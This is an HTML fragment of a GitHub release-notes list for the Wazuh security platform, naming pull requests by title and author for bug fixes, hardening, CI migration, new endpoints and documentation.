<li>Lower stale-session indexer log to debug by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4733981786" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37150" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37150/hovercard" href="https://github.com/wazuh/wazuh/pull/37150">#37150</a></li>
<li>Limit recursion depth in XML parser by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4733223430" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37147" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37147/hovercard" href="https://github.com/wazuh/wazuh/pull/37147">#37147</a></li>
<li>Add status endpoint by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NahuFigueroa97/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NahuFigueroa97">@NahuFigueroa97</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4696177149" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37022" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37022/hovercard" href="https://github.com/wazuh/wazuh/pull/37022">#37022</a></li>
<li>Add log collectors reference docs by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AnDumu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AnDumu">@AnDumu</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4721989446" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37057" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37057/hovercard" href="https://github.com/wazuh/wazuh/pull/37057">#37057</a></li>
<li>Run the Windows MSI package test on the AWS CodeBuild runner by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nbertoldo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nbertoldo">@nbertoldo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4738105790" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37165" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37165/hovercard" href="https://github.com/wazuh/wazuh/pull/37165">#37165</a></li>
<li>Remove merged.mg hash cache to fix stale syscollector flush by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hernanvalenzuela/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hernanvalenzuela">@hernanvalenzuela</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4720281364" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37048" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37048/hovercard" href="https://github.com/wazuh/wazuh/pull/37048">#37048</a></li>
<li>Enrich MITRE fields with id and names by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fcontrerasc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fcontrerasc">@fcontrerasc</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4721520471" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37054" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37054/hovercard" href="https://github.com/wazuh/wazuh/pull/37054">#37054</a></li>
<li>Reduce indexer connection warning noise by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jam300/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jam300">@jam300</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4696113780" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37021" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37021/hovercard" href="https://github.com/wazuh/wazuh/pull/37021">#37021</a></li>
<li>Remove deprecated wazuh-dbd daemon by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4715728814" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37035" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37035/hovercard" href="https://github.com/wazuh/wazuh/pull/37035">#37035</a></li>
<li>Bound decompressed size when processing sync archives by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4725313255" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37119" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37119/hovercard" href="https://github.com/wazuh/wazuh/pull/37119">#37119</a></li>
<li>Bump 4.14.6 branch by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wazuhci/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wazuhci">@wazuhci</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4742531433" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37176" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37176/hovercard" href="https://github.com/wazuh/wazuh/pull/37176">#37176</a></li>
<li>Add libcrypt fix (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4614551071" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36782" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36782/hovercard" href="https://github.com/wazuh/wazuh/pull/36782">#36782</a>) to 4.14.6 changelog by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4743056771" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37178" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37178/hovercard" href="https://github.com/wazuh/wazuh/pull/37178">#37178</a></li>
<li>Delay IndexerDownloader connection warnings until 3 failed attempts by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4742582733" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37177" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37177/hovercard" href="https://github.com/wazuh/wazuh/pull/37177">#37177</a></li>
<li>Add parameterized target selection to Coverity scan workflow by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lchico/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lchico">@lchico</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4740074465" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37171" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37171/hovercard" href="https://github.com/wazuh/wazuh/pull/37171">#37171</a></li>
<li>Align remoted tier 2 CodeBuild setup by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4735418555" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37155" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37155/hovercard" href="https://github.com/wazuh/wazuh/pull/37155">#37155</a></li>
<li>Add rules migration guide by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jorgesnchz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jorgesnchz">@Jorgesnchz</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4495888102" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36305" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36305/hovercard" href="https://github.com/wazuh/wazuh/pull/36305">#36305</a></li>
<li>Migrate agent Linux/Windows test workflows to AWS CodeBuild runners by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nicogp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nicogp">@Nicogp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4720554249" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37051" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37051/hovercard" href="https://github.com/wazuh/wazuh/pull/37051">#37051</a></li>
<li>Silence spurious keepalive warnings on the Windows agent by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nbertoldo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nbertoldo">@nbertoldo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4745531717" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37187" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37187/hovercard" href="https://github.com/wazuh/wazuh/pull/37187">#37187</a></li>
<li>wazuh-engine: Improve log messages and logger by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/juliancnn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/juliancnn">@juliancnn</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4688784533" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36995" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36995/hovercard" href="https://github.com/wazuh/wazuh/pull/36995">#36995</a></li>
<li>Set default indexer connector credentials by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4746445718" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37192" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37192/hovercard" href="https://github.com/wazuh/wazuh/pull/37192">#37192</a></li>
<li>Fix incorrect snprintf size calculation in winevtchannel decoder by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4750564321" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37198" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37198/hovercard" href="https://github.com/wazuh/wazuh/pull/37198">#37198</a></li>
<li>Align VD feed-download log levels with indexer consumer state by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4750803257" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37199" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37199/hovercard" href="https://github.com/wazuh/wazuh/pull/37199">#37199</a></li>
<li>Recognize renamed indexer consumer status in engine sync by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4751474129" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37204" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37204/hovercard" href="https://github.com/wazuh/wazuh/pull/37204">#37204</a></li>
<li>Merge 4.14.6 into 4.14.7 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4752903836" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37210" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37210/hovercard" href="https://github.com/wazuh/wazuh/pull/37210">#37210</a></li>
<li>Token replacement to avoid permission errors by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MarcelKemp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MarcelKemp">@MarcelKemp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4753550212" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37237" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37237/hovercard" href="https://github.com/wazuh/wazuh/pull/37237">#37237</a></li>
<li>Merge 4.14.7 into 5.0.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4752941791" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37211" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37211/hovercard" href="https://github.com/wazuh/wazuh/pull/37211">#37211</a></li>
<li>Eliminate TOCTOU races in healthcheck file operations by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rjcausarano/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rjcausarano">@rjcausarano</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4736827470" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37160" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37160/hovercard" href="https://github.com/wazuh/wazuh/pull/37160">#37160</a></li>
<li>Sca file policy block standardization by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Johnng007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Johnng007">@Johnng007</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4743999327" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37179" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37179/hovercard" href="https://github.com/wazuh/wazuh/pull/37179">#37179</a></li>
<li>Bind agent index selection and scope deletes by cluster by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4735319890" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37154" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37154/hovercard" href="https://github.com/wazuh/wazuh/pull/37154">#37154</a></li>
<li>Add Null Check for Inode and Dev Fields in FIM Whodata Event Handler by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4766388009" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37245" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37245/hovercard" href="https://github.com/wazuh/wazuh/pull/37245">#37245</a></li>
<li>Docs/6764 logcollector whats new 5.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AnDumu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AnDumu">@AnDumu</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4721987109" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37056" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37056/hovercard" href="https://github.com/wazuh/wazuh/pull/37056">#37056</a></li>
<li>Repair RPM builder toolchain downloads by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jr0me/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jr0me">@jr0me</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4728182443" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37130" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37130/hovercard" href="https://github.com/wazuh/wazuh/pull/37130">#37130</a></li>
<li>Add cluster name validation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4753677014" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37238" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37238/hovercard" href="https://github.com/wazuh/wazuh/pull/37238">#37238</a></li>
<li>Add cluster readiness endpoint by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NahuFigueroa97/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NahuFigueroa97">@NahuFigueroa97</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4728071822" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37129" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37129/hovercard" href="https://github.com/wazuh/wazuh/pull/37129">#37129</a></li>
<li>Defer cluster payload buffer allocation until data is received by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jepalfer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jepalfer">@jepalfer</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4769731908" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37280" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37280/hovercard" href="https://github.com/wazuh/wazuh/pull/37280">#37280</a></li>
<li>Indexer connector bulk size and flush interval configurable by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LucioDonda/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LucioDonda">@LucioDonda</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4736764012" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37158" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37158/hovercard" href="https://github.com/wazuh/wazuh/pull/37158">#37158</a></li>
<li>Enable shared-password enrollment by default by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ignaciogalle12git/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ignaciogalle12git">@ignaciogalle12git</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4734529271" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37151" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37151/hovercard" href="https://github.com/wazuh/wazuh/pull/37151">#37151</a></li>
<li>Fix unit test workflow paths and report handling by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4777938328" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37317" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37317/hovercard" href="https://github.com/wazuh/wazuh/pull/37317">#37317</a></li>
<li>Migrate agent + server CI artifacts to S3 — 4.14.7 (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="643824078" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/5300" data-hovercard-type="issue" data-hovercard-url="/wazuh/wazuh/issues/5300/hovercard" href="https://github.com/wazuh/wazuh/issues/5300">#5300</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="643806955" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/5298" data-hovercard-type="issue" data-hovercard-url="/wazuh/wazuh/issues/5298/hovercard" href="https://github.com/wazuh/wazuh/issues/5298">#5298</a>) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jr0me/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jr0me">@jr0me</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4745105538" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37186" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37186/hovercard" href="https://github.com/wazuh/wazuh/pull/37186">#37186</a></li>
<li>Handle eol amazon inspector classic by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rovogel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rovogel">@rovogel</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4746717311" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37194" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37194/hovercard" href="https://github.com/wazuh/wazuh/pull/37194">#37194</a></li>
<li>Fix wazuh-modulesd missing after macOS agent restart by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cborla/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cborla">@cborla</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4695257310" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37020" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37020/hovercard" href="https://github.com/wazuh/wazuh/pull/37020">#37020</a></li>
<li>Fix test_worker failing unit test by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jepalfer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jepalfer">@jepalfer</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4777598945" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37314" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37314/hovercard" href="https://github.com/wazuh/wazuh/pull/37314">#37314</a></li>
<li>Improve log messages  by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Antoniogm03/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Antoniogm03">@Antoniogm03</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4671655779" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36876" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36876/hovercard" href="https://github.com/wazuh/wazuh/pull/36876">#36876</a></li>
<li>Improve changelog format by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4784576201" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37332" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37332/hovercard" href="https://github.com/wazuh/wazuh/pull/37332">#37332</a></li>
<li>Lower log level of transient cluster IPC failures (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4768765565" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37277" data-hovercard-type="issue" data-hovercard-url="/wazuh/wazuh/issues/37277/hovercard" href="https://github.com/wazuh/wazuh/issues/37277">#37277</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4768737167" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37276" data-hovercard-type="issue" data-hovercard-url="/wazuh/wazuh/issues/37276/hovercard" href="https://github.com/wazuh/wazuh/issues/37276">#37276</a>) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4783970019" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37326" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37326/hovercard" href="https://github.com/wazuh/wazuh/pull/37326">#37326</a></li>
<li>Fix TypeError when sorting agents by version with empty version strings by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4779868587" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37323" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37323/hovercard" href="https://github.com/wazuh/wazuh/pull/37323">#37323</a></li>
<li>Migrate agent + server CI artifacts to S3 — 5.0.0 (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="643824078" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/5300" data-hovercard-type="issue" data-hovercard-url="/wazuh/wazuh/issues/5300/hovercard" href="https://github.com/wazuh/wazuh/issues/5300">#5300</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="643806955" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/5298" data-hovercard-type="issue" data-hovercard-url="/wazuh/wazuh/issues/5298/hovercard" href="https://github.com/wazuh/wazuh/issues/5298">#5298</a>) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jr0me/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jr0me">@jr0me</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4744978467" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37185" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37185/hovercard" href="https://github.com/wazuh/wazuh/pull/37185">#37185</a></li>
<li>Validate asset resource names before policy promotion by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jam300/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jam300">@jam300</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4741678194" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37172" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37172/hovercard" href="https://github.com/wazuh/wazuh/pull/37172">#37172</a></li>
<li>Revert wazuh-server indexer credentials and propagate log context in indexer connector by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4784669937" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37333" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37333/hovercard" href="https://github.com/wazuh/wazuh/pull/37333">#37333</a></li>
<li>Add VD readiness status HTTP endpoint by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4753007421" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37213" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37213/hovercard" href="https://github.com/wazuh/wazuh/pull/37213">#37213</a></li>
